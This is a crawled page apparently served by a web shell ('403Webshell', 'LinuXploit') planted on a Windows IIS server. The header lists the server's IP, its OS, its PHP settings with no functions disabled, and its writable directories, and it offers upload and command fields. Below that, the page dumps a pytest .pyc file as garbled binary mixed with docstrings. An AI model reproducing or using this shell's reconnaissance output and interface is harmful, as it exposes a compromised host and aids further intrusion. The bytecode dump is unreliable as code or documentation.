403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/_pytest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/_pytest/__pycache__/recwarn.cpython-312.pyc
�

��Hg�3���dZddlmZddlmZddlZddlmZddlm	Z	ddlm
Z
ddlmZdd	lmZdd
lm
Z
ddlmZddlmZdd
lmZddlmZerddlmZddlZddlmZddlmZddlmZddlmZed�Zed"d��Zedd�d#d��Zed$d��Z	d%							d&d�Ze	d'dd�					d(d��Ze										d)d��Ze fdd�									d*d�ZGd �dejB�Z"eGd!�de"��Z#y)+z/Record warnings during test function execution.�)�annotations)�pformatN)�
TracebackType)�Any)�Callable)�final)�	Generator)�Iterator)�overload)�Pattern)�
TYPE_CHECKING)�TypeVar)�Self)�check_ispytest)�fixture)�Exit)�fail�Tc#�K�td��}|5tjd�|��ddd�y#1swYyxYw�w)z�Return a :class:`WarningsRecorder` instance that records all warnings emitted by test functions.

    See https://docs.pytest.org/en/latest/how-to/capture-warnings.html for information
    on warning categories.
    T��	_ispytest�defaultN)�WarningsRecorder�warnings�simplefilter)�wrecs �1C:\Python312\Lib\site-packages\_pytest/recwarn.py�recwarnr"s<�����d�+�D�	
�����i�(��
����s�A�4�	A�=�A.��matchrc��y�N�rs r�deprecated_callr$/s��TW�c��yr"r#)�func�args�kwargss   rr$r$3s��MPr%c�R�d}|�|g|��}ttttfg|��i|��S)a�Assert that code produces a ``DeprecationWarning`` or ``PendingDeprecationWarning`` or ``FutureWarning``.

    This function can be used as a context manager::

        >>> import warnings
        >>> def api_call_v2():
        ...     warnings.warn('use v3 of this api', DeprecationWarning)
        ...     return 200

        >>> import pytest
        >>> with pytest.deprecated_call():
        ...    assert api_call_v2() == 200

    It can also be used by passing a function and ``*args`` and ``**kwargs``,
    in which case it will ensure calling ``func(*args, **kwargs)`` produces one of
    the warnings types above. The return value is the return value of the function.

    In the context manager form you may use the keyword argument ``match`` to assert
    that the warning matches a text or regex.

    The context manager produces a list of :class:`warnings.WarningMessage` objects,
    one for each warning raised.
    T)�warns�DeprecationWarning�PendingDeprecationWarning�
FutureWarning)r'r(r)�__tracebackhide__s    rr$r$7sC��4�����}�t�}���	�6�
�F��IM��QW��r%�WarningsCheckerc��yr"r#)�expected_warningr s  rr+r+Ys��
r%c��yr"r#)r2r'r(r)s    rr+r+as��	r%c�,�d}|s9|r)djt|��}td|�d���t||d��S|d}t	|�st|�dt|��d���t|d�	�5||d
di|��cddd�S#1swYyxYw)aAssert that code raises a particular class of warning.

    Specifically, the parameter ``expected_warning`` can be a warning class or tuple
    of warning classes, and the code inside the ``with`` block must issue at least one
    warning of that class or classes.

    This helper produces a list of :class:`warnings.WarningMessage` objects, one for
    each warning emitted (regardless of whether it is an ``expected_warning`` or not).
    Since pytest 8.0, unmatched warnings are also re-emitted when the context closes.

    This function can be used as a context manager::

        >>> import pytest
        >>> with pytest.warns(RuntimeWarning):
        ...    warnings.warn("my warning", RuntimeWarning)

    In the context manager form you may use the keyword argument ``match`` to assert
    that the warning matches a text or regex::

        >>> with pytest.warns(UserWarning, match='must be 0 or None'):
        ...     warnings.warn("value must be 0 or None", UserWarning)

        >>> with pytest.warns(UserWarning, match=r'must be \d+$'):
        ...     warnings.warn("value must be 42", UserWarning)

        >>> with pytest.warns(UserWarning):  # catch re-emitted warning
        ...     with pytest.warns(UserWarning, match=r'must be \d+$'):
        ...         warnings.warn("this is not here", UserWarning)
        Traceback (most recent call last):
          ...
        Failed: DID NOT WARN. No warnings of type ...UserWarning... were emitted...

    **Using with** ``pytest.mark.parametrize``

    When using :ref:`pytest.mark.parametrize ref` it is possible to parametrize tests
    such that some runs raise a warning and others do not.

    This could be achieved in the same way as with exceptions, see
    :ref:`parametrizing_conditional_raising` for an example.

    Tz, z5Unexpected keyword arguments passed to pytest.warns: z"
Use context-manager form instead?)�
match_exprrrz object (type: z) must be callabler�N)�join�sorted�	TypeErrorr0�callable�type)r2r r(r)r/�argnamesr's       rr+r+js���^�����y�y����0�H��G��z�5�6��
��/�E�T�R�R��A�w����~��t�h�o�d�4�j�\�AS�T�U�U�
�-��
>�	-���a�b��,�V�,�	-�	-�	-�s�5B
�
Bc���eZdZdZdd�d
�fd�Zedd��Zdd�Zdd�Zdd�Z	e
fdd	�Zdd
�Zd�fd�Z
								d�fd�Z�xZS)raFA context manager to record raised warnings.

    Each recorded warning is an instance of :class:`warnings.WarningMessage`.

    Adapted from `warnings.catch_warnings`.

    .. note::
        ``DeprecationWarning`` and ``PendingDeprecationWarning`` are treated
        differently; see :ref:`ensuring_function_triggers`.

    Frc�X��t|�t�|�	d��d|_g|_y)NT)�recordF)r�super�__init__�_entered�_list)�selfr�	__class__s  �rrAzWarningsRecorder.__init__�s)����y�!�
�����%���
�46��
r%c��|jS)zThe list of recorded warnings.�rC�rDs r�listzWarningsRecorder.list�s���z�z�r%c� �|j|S)z Get a recorded warning by index.rG)rD�is  r�__getitem__zWarningsRecorder.__getitem__�s���z�z�!�}�r%c�,�t|j�S)z&Iterate through the recorded warnings.)�iterrCrHs r�__iter__zWarningsRecorder.__iter__�s���D�J�J��r%c�,�t|j�S)z The number of recorded warnings.)�lenrCrHs r�__len__zWarningsRecorder.__len__�s���4�:�:��r%c��d}t|j�D]z\}}|j|k(r|jj|�cSt	|j|�s�I|�.t	|j|j|j�r�y|}�||�|jj|�Sd}t|�d���)z�Pop the first recorded warning which is an instance of ``cls``,
        but not an instance of a child class of any other match.
        Raises ``AssertionError`` if there is no match.
        NTz not found in warning list)�	enumeraterC�category�pop�
issubclass�AssertionError)rD�cls�best_idxrK�wr/s      rrVzWarningsRecorder.pop�s���
 $���d�j�j�)�	�D�A�q��z�z�S� ��z�z�~�~�a�(�(��!�*�*�c�*�� �!�!�*�*�d�j�j��.B�.K�.K�L���	����:�:�>�>�(�+�+� ����w�&@�A�B�Br%c�"�g|jddy)z$Clear the list of recorded warnings.NrGrHs r�clearzWarningsRecorder.clear�s����
�
�1�
r%c���|jrd}td|�d���t�|�
�}|�J�||_tjd�|S)NTz
Cannot enter z twice�always)rB�RuntimeErrorr@�	__enter__rCrr)rDr/rCrEs   �rrazWarningsRecorder.__enter__�sW����=�=� $����t�h�f�=�>�>���!�#��� � � ���
����h�'��r%c�p��|jsd}td|�d���t�|�
|||�d|_y)NTzCannot exit z without entering firstF)rBr`r@�__exit__)rD�exc_type�exc_val�exc_tbr/rEs     �rrczWarningsRecorder.__exit__�sA����}�}� $����d�X�5L�M�N�N�
����7�F�3���
r%)r�bool�return�None)rhzlist[warnings.WarningMessage])rK�intrh�warnings.WarningMessage)rhz!Iterator[warnings.WarningMessage])rhrj)rYz
type[Warning]rhrk)rhri)rhr�rdztype[BaseException] | NonerezBaseException | NonerfzTracebackType | Nonerhri)�__name__�
__module__�__qualname__�__doc__rA�propertyrIrLrOrR�WarningrVr]rarc�
__classcell__�rEs@rrr�sz���
�-2�7������ ��(/�C�&�	��,��&��%�	�

��r%c�^��eZdZedfdd�							d�fd�Zdd�Z								d	�fd�Z�xZS)
r0NFrc�T��t|�t�|�	d��d}t|t�r1|D])}t|t�r�t|t|�z��|}n;t|t�rt|t�r|f}nt|t|�z��||_	||_
y)NTrz/exceptions must be derived from Warning, not %s)rr@rA�
isinstance�tuplerWrrr9r;r2r5)rDr2r5r�msg�exc�expected_warning_tuprEs       �rrAzWarningsChecker.__init__s����	�y�!�
���4��(�?���&��.�'�
5��!�#�w�/�#�C�$�s�)�O�4�4�
5�$4� �
�(�$�
/�J��g�5
�%5�#6� ��C�$�'7�"8�8�9�9� 4���$��r%c��|j�J�t|j|j�xrLt|jduxs3tj|jt|j���Sr")	r2rWrUrgr5�re�search�str�message)rD�warnings  r�matcheszWarningsChecker.matchesse���$�$�0�0�0��'�*�*�D�,A�,A�B�
�t��O�O�t�#�W�r�y�y����#�g�o�o�BV�'W�H
�	
r%c�\���t���|||�d}|�!t|t�rt|t�ryd�fd�}	t�fd��D��s"t
d�j�d|��d��nBt�fd��D��s.t
d�j�d�j�d	|��d���D]k}�j|�r�tj|j|j|j|j|j |j"�
��m�D]�}t%|j�t&ur�|jj(s�6|jj(d}t|t*�r�`t-d|�d
t%|�j.�d���y#�D]k}�j|�r�tj|j|j|j|j|j |j"�
��m�D]�}t%|j�t&ur�|jj(s�6|jj(d}t|t*�r�`t-d|�d
t%|�j.�d���wxYw)NTc�X��t�D�cgc]}|j��c}d��Scc}w)N�)�indent)rr�)r?rDs �r�	found_strz+WarningsChecker.__exit__.<locals>.found_str8s"�����>�v�F�N�N�>�q�I�I��>s�'c3�^�K�|]$}t|j�j����&y�wr")rWrUr2��.0r[rDs  �r�	<genexpr>z+WarningsChecker.__exit__.<locals>.<genexpr><s"�����S��z�!�*�*�d�.C�.C�D�S�s�*-z"DID NOT WARN. No warnings of type z" were emitted.
 Emitted warnings: �.c3�@�K�|]}�j|����y�wr")r�r�s  �rr�z+WarningsChecker.__exit__.<locals>.<genexpr>As�����7�Q����a��7�s�z* matching the regex were emitted.
 Regex: z
 Emitted warnings: )r�rU�filename�lineno�module�sourcerz$Warning must be str or Warning, got z (type �))rhr)r@rcrw�	Exceptionr�anyrr2r5r�r�
warn_explicitr�rUr�r�rnr�r;�UserWarningr(rr9rm)	rDrdrerfr/r�r[ryrEs	`       �rrczWarningsChecker.__exit__#sq���	����7�F�3� �����7�I�.��'�4�(��	J�2	��S�d�S�S��8��9N�9N�8O�P*�*3�+��a�9���7�$�7�7��8��9N�9N�8O�P�#���/�0*�*3�+��a�9���	
���|�|�A���*�*� !�	�	�!"���!"��� �x�x� �|�|� �x�x�
�	
�&�
����	�	�?�+�5���y�y�~�~���i�i�n�n�Q�'���c�3�'�� �:�3�'���c��I[�I[�H\�\]�^���
��'�	
���|�|�A���*�*� !�	�	�!"���!"��� �x�x� �|�|� �x�x�
�	
�&�
����	�	�?�+�5���y�y�~�~���i�i�n�n�Q�'���c�3�'�� �:�3�'���c��I[�I[�H\�\]�^���
�s�A8F1�1J+�	C"J+)r2�)type[Warning] | tuple[type[Warning], ...]r5�str | Pattern[str] | Nonerrgrhri)r�rkrhrgrl)rmrnrorrrAr�rcrsrts@rr0r0s}���GN�04�%�
 �%�C�%�.�%�
�%�
�
%�4
�J�,�J�&�J�%�	J�

�J�Jr%)rhzGenerator[WarningsRecorder])r r�rhr)r'�Callable[..., T]r(rr)rrhrr")r'zCallable[..., Any] | Noner(rr)rrhzWarningsRecorder | Any).)r2r�r r�rhr0)
r2r�r'r�r(rr)rrhr)
r2r�r(rr r�r)rrhzWarningsChecker | Any)$rp�
__future__r�pprintrr}�typesr�typingrrrr	r
rrr
r�typing_extensionsrr�_pytest.deprecatedr�_pytest.fixturesr�_pytest.outcomesrrrrr$r+rr�catch_warningsrr0r#r%r�<module>r�s���5�"��	��������� ���&��-�$�!�!��C�L��	�	�	�	�
�:=�W�
�W�
�P�
�P�'+��
#��36��BE����D
�BE��(+��?��%���	�
��
��?��
�����	�
��
��CJ�=-�(,�=-�?�=-��=-�%�=-��	=-�
�=-�@T�x�.�.�T�n�k�&�k��kr%

Youez - 2016 - github.com/yon3zu
LinuXploit